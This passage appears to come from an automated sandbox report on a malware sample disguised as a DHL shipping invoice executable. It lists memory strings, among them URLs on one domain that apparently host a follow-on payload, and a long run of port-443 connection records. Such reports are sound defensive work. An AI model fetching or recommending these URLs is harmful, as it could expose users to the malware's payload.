00000000.00000002.4211096472.0000000003478000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033BD000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000348B000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000034EA000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033F8000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000032DA000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000355F000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003440000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://rubberpartsmanufacturers.com
Source: DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003392000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000341B000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000349F000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003362000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000032BC000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033DF000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000352D000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000032A8000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033AB000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000034D5000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000034B3000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003478000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033BD000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000348B000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000034EA000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033F8000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000032DA000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000355F000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003440000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://rubberpartsmanufacturers.comd
Source: DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000002C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000002C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rubberpartsmanufacturers.com
Source: DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000355F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rubberpartsmanufacturers.com/inneska/Kjeggzijk
Source: DHL-SHIPPING INVOICE-1&.exe	String found in binary or memory: https://rubberpartsmanufacturers.com/inneska/Kjeggzijku.vdf
Source: DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003537000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003392000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000341B000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000349F000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003362000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000032BC000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033DF000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000034F4000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000352A000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000032A8000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003481000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033AB000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000034D5000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000034B3000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000032EE000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003478000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033BD000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000348B000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000034EA000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003298000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rubberpartsmanufacturers.com/inneska/Kjeggzijku.vdfts
Source: DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003392000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000341B000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000349F000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003362000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000032BC000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033DF000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000352D000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000032A8000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033AB000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000034D5000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000034B3000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003478000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033BD000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000348B000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000034EA000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033F8000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000032DA000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003440000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rubberpartsmanufacturers.comD

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 57084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 57055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56959
Source: unknown	Network traffic detected: HTTP traffic on port 57032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56719
Source: unknown	Network traffic detected: HTTP traffic on port 57061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56957
Source: unknown	Network traffic detected: HTTP traffic on port 57106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57008
Source: unknown	Network traffic detected: HTTP traffic on port 56755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57015
Source: unknown	Network traffic detected: HTTP traffic on port 56921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57011
Source: unknown	Network traffic detected: HTTP traffic on port 57090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 56703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 57008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56729
Source: unknown	Network traffic detected: HTTP traffic on port 57037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57017
Source: unknown	Network traffic detected: HTTP traffic on port 56846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57019
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57023
Source: unknown	Network traffic detected: HTTP traffic on port 57095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57026
Source: unknown	Network traffic detected: HTTP traffic on port 57043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57021
Source: unknown	Network traffic detected: HTTP traffic on port 57026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57022
Source: unknown	Network traffic detected: HTTP traffic on port 57078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56735
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57027
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56853
Source: unknown	Network traffic detected: HTTP traffic on port 56991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57036
Source: unknown	Network traffic detected: HTTP traffic on port 57096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57037
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57030
Source: unknown	Network traffic detected: HTTP traffic on port 57067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57031
Source: unknown	Network traffic detected: HTTP traffic on port 57048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57033
Source: unknown	Network traffic detected: HTTP traffic on port 57111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56746
Source: unknown	Network traffic detected: HTTP traffic on port 57014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57039
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57045
Source: unknown	Network traffic detected: HTTP traffic on port 57105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57047
Source: unknown	Network traffic detected: HTTP traffic on port 57020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57040
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56916
Source: unknown	Network traffic detected: HTTP traffic on port 57036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56808
Source: unknown	Network traffic detected: HTTP traffic on port 57085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56921
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57102
Source: unknown	Network traffic detected: HTTP traffic on port 57068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57103
Source: unknown	Network traffic detected: HTTP traffic on port 57074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 57057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 57063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57109
Source: unknown	Network traffic detected: HTTP traffic on port 57030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57105
Source: unknown	Network traffic detected: HTTP traffic on port 57101 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57106
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57107
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57111
Source: unknown	Network traffic detected: HTTP traffic on port 56972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57114
Source: unknown	Network traffic detected: HTTP traffic on port 57018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57110
Source: unknown	Network traffic detected: HTTP traffic on port 56927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56707
Source: unknown	Network traffic detected: HTTP traffic on port 56791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56704
Source: unknown	Network traffic detected: HTTP traffic on port 56735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57115
Source: unknown	Network traffic detected: HTTP traffic on port 56862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56700
Source: unknown	Network traffic detected: HTTP traffic on port 56780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57000
Source: unknown	Network traffic detected: HTTP traffic on port 57041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 57097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 57112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56797
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57096
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57099
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57093
Source: unknown	Network traffic detected: HTTP traffic on port 57075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57095
Source: unknown	Network traffic detected: HTTP traffic on port 56890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57091
Source: unknown	Network traffic detected: HTTP traffic on port 57058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56908
Source: unknown	Network traffic detected: HTTP traffic on port 57087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57049
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57056
Source: unknown	Network traffic detected: HTTP traffic on port 57071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57059
Source: unknown	Network traffic detected: HTTP traffic on port 57094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57055
Source: unknown	Network traffic detected: HTTP traffic on port 57027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57051
Source: unknown	Network traffic detected: HTTP traffic on port 56948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56763
Source: unknown	Network traffic detected: HTTP traffic on port 56825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57022 -> 443
